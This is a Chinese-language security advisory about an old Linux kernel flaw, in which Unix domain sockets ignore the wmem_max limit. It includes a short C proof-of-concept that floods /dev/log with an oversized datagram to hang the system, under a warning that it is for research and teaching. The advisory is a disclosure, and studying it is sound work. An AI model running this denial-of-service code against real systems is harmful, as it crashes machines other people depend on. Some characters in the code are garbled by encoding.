受影響的系統:
Linux kernel 2.2.12
2.2.14
2.3.99-pre2
不受影響系統: linux kernel 2.2.14 + Solar Designer's kernel patch
描述:
--------------------------------------------------------------------------------
Linux的unix域名套接字沒有考慮/proc/sys/net/core/wmem_max的參數的限制,本地普通
用戶可以通過向某個套接字傳送大量數據,導致Linux內核分配內存空間時出錯,系統停止
響應。必須重新啟動系統。
〈* 來源:Jay Fenlason ([email protected]) *>
測試程序:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能帶有攻擊性,僅供安全研究與教學之用。使用者風險自負!
#include 〈sys/types.h>
#include 〈sys/socket.h>
#include 〈string.h>
char buf[128 * 1024];
int main ( int argc, char **argv )
{
struct sockaddr SyslogAddr;
int LogFile;
int bufsize = sizeof(buf)-5;
int i;
for ( i = 0; i 〈 bufsize; i++ )
buf[i] = ' '+(i%95);
buf[i] = '';
SyslogAddr.sa_family = AF_UNIX;
strncpy ( SyslogAddr.sa_data, "/dev/log", sizeof(SyslogAddr.sa_data) );
LogFile = socket ( AF_UNIX, SOCK_DGRAM, 0 );
sendto ( LogFile, buf, bufsize, 0, &SyslogAddr, sizeof(SyslogAddr) );
return 0;
}
[綠色兵團]
——摘自:中華網電腦網絡